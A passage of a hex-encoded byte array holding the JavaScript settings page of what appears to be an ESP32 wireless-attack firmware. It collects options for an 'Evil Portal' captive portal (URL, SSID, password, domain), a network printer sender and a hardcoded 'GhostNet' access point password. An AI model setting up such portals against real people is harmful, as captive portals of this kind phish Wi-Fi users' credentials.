0x72, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x69, 0x6E, 0x67, 0x20, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x3A, 0x27, 0x2C, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x74, 0x6F, 0x20, 0x73, 0x61, 0x76, 0x65, 0x20, 0x73, 0x65, 0x74, - 0x74, 0x69, 0x6E, 0x67, 0x73, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x45, 0x53, 0x50, 0x33, 0x32, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x73, 0x61, 0x76, - 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, - 0x73, 0x20, 0x3D, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x57, 0x69, 0x46, 0x69, 0x2F, 0x42, 0x4C, 0x45, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, 0x74, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x3A, 0x20, 0x70, 0x61, - 0x72, 0x73, 0x65, 0x49, 0x6E, 0x74, 0x28, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x62, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, - 0x74, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x70, 0x5F, 0x73, 0x73, - 0x69, 0x64, 0x3A, 0x20, 0x22, 0x47, 0x68, 0x6F, 0x73, 0x74, 0x4E, 0x65, 0x74, 0x22, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x70, 0x5F, 0x70, 0x61, 0x73, 0x73, - 0x77, 0x6F, 0x72, 0x64, 0x3A, 0x20, 0x22, 0x47, 0x68, 0x6F, 0x73, 0x74, 0x4E, 0x65, 0x74, 0x22, 0x2C, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, - 0x52, 0x47, 0x42, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x61, 0x69, 0x6E, 0x62, 0x6F, 0x77, 0x5F, 0x6D, 0x6F, - 0x64, 0x65, 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x72, 0x61, 0x69, 0x6E, 0x62, 0x6F, 0x77, 0x5F, 0x6D, 0x6F, 0x64, - 0x65, 0x27, 0x29, 0x2E, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x65, 0x64, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x67, 0x62, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x3A, - 0x20, 0x70, 0x61, 0x72, 0x73, 0x65, 0x49, 0x6E, 0x74, 0x28, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x72, 0x67, 0x62, 0x5F, 0x73, - 0x70, 0x65, 0x65, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x29, 0x2C, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x45, 0x76, 0x69, - 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x61, - 0x6C, 0x5F, 0x75, 0x72, 0x6C, 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x75, - 0x72, 0x6C, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x73, 0x73, 0x69, 0x64, - 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x27, 0x29, - 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, - 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, - 0x72, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x61, 0x70, 0x5F, 0x73, - 0x73, 0x69, 0x64, 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x61, 0x70, 0x5F, - 0x73, 0x73, 0x69, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x64, 0x6F, - 0x6D, 0x61, 0x69, 0x6E, 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x64, 0x6F, - 0x6D, 0x61, 0x69, 0x6E, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x6F, 0x66, - 0x66, 0x6C, 0x69, 0x6E, 0x65, 0x5F, 0x6D, 0x6F, 0x64, 0x65, 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, - 0x74, 0x61, 0x6C, 0x5F, 0x6F, 0x66, 0x66, 0x6C, 0x69, 0x6E, 0x65, 0x5F, 0x6D, 0x6F, 0x64, 0x65, 0x27, 0x29, 0x2E, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x65, 0x64, 0x2C, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x50, 0x6F, 0x77, 0x65, 0x72, 0x20, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x69, 0x70, 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, - 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x69, 0x70, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, - 0x64, 0x28, 0x27, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x70, 0x61, 0x72, 0x73, 0x65, 0x49, 0x6E, 0x74, 0x28, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, - 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, 0x73, 0x69, 0x7A, 0x65, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, - 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x70, - 0x61, 0x72, 0x73, 0x65, 0x49, 0x6E, 0x74, 0x28, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, - 0x5F, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x29, 0x2C, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x2F, 0x2F, 0x20, 0x46, 0x6C, 0x61, 0x70, 0x70, 0x79, 0x20, 0x47, 0x68, 0x6F, 0x73, 0x74, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x66, 0x6C, 0x61, 0x70, 0x70, 0x79, 0x5F, 0x67, 0x68, 0x6F, 0x73, 0x74, 0x5F, 0x6E, 0x61, 0x6D, 0x65, 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, - 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x66, 0x6C, 0x61, 0x70, 0x70, 0x79, 0x5F, 0x6E, 0x61, 0x6D, 0x65, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x78, 0x5F, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, - 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x5F, 0x68, 0x65, 0x78, 0x27, 0x29, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, - 0x6E, 0x74, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x5F, 0x73, 0x74, 0x72, 0x3A, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, - 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x74, 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x5F, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, - 0x6C, 0x75, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x67, 0x70, 0x73, 0x5F, 0x72, 0x78, 0x5F, 0x70, 0x69, 0x6E, 0x3A, 0x20, 0x70, 0x61, 0x72, 0x73, 0x65, 0x49, - 0x6E, 0x74, 0x28, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x67, 0x70, 0x73, 0x5F, 0x72, 0x78, 0x5F, 0x70, 0x69, 0x6E, 0x27, 0x29, - 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x5F, 0x74, 0x69, 0x6D, 0x65, 0x6F, 0x75, - 0x74, 0x3A, 0x20, 0x70, 0x61, 0x72, 0x73, 0x65, 0x49, 0x6E, 0x74, 0x28, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x64, 0x69, 0x73, - 0x70, 0x6C, 0x61, 0x79, 0x5F, 0x74, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x3B, 0x0D, 0x0A, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x20, 0x3D, 0x20, 0x76, - 0x61, 0x6C, 0x69, 0x64, 0x61, 0x74, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x28, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x69, 0x66, 0x20, 0x28, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x20, 0x3E, 0x20, 0x30, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x63, 0x6F, 0x72, 0x72, 0x65, 0x63, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x6F, - 0x6C, 0x6C, 0x6F, 0x77, 0x69, 0x6E, 0x67, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x3A, 0x5C, 0x6E, 0x27, 0x20, 0x2B, 0x20, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x6A, 0x6F, - 0x69, 0x6E, 0x28, 0x27, 0x5C, 0x6E, 0x27, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x28, 0x27, 0x2F, 0x61, 0x70, 0x69, 0x2F, 0x73, 0x65, - 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x27, 0x2C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x3A, 0x20, 0x27, 0x50, 0x4F, 0x53, - 0x54, 0x27, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x3A, 0x20, 0x7B, 0x27, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, - 0x54, 0x79, 0x70, 0x65, 0x27, 0x3A, 0x20, 0x27, 0x61, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x2F, 0x6A, 0x73, 0x6F, 0x6E, 0x27, 0x7D, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x64, 0x79, 0x3A, 0x20, 0x4A, 0x53, 0x4F, 0x4E, 0x2E, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x69, 0x66, 0x79, 0x28, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x68, 0x65, 0x6E, 0x28, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x20, - 0x3D, 0x3E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6F, 0x6B, 0x29, 0x20, 0x7B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x20, 0x73, 0x61, - 0x76, 0x65, 0x64, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, 0x6C, 0x6C, 0x79, 0x21, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, - 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, - 0x20, 0x73, 0x61, 0x76, 0x69, 0x6E, 0x67, 0x20, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x63, 0x61, 0x74, 0x63, 0x68, 0x28, 0x65, 0x72, 0x72, 0x6F, - 0x72, 0x20, 0x3D, 0x3E, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2E, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x28, 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x73, 0x61, 0x76, 0x69, 0x6E, 0x67, 0x20, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, - 0x73, 0x3A, 0x27, 0x2C, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x46, - 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x74, 0x6F, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x74, - 0x68, 0x65, 0x20, 0x45, 0x53, 0x50, 0x33, 0x32, 0x0D, 0x0A, 0x20, 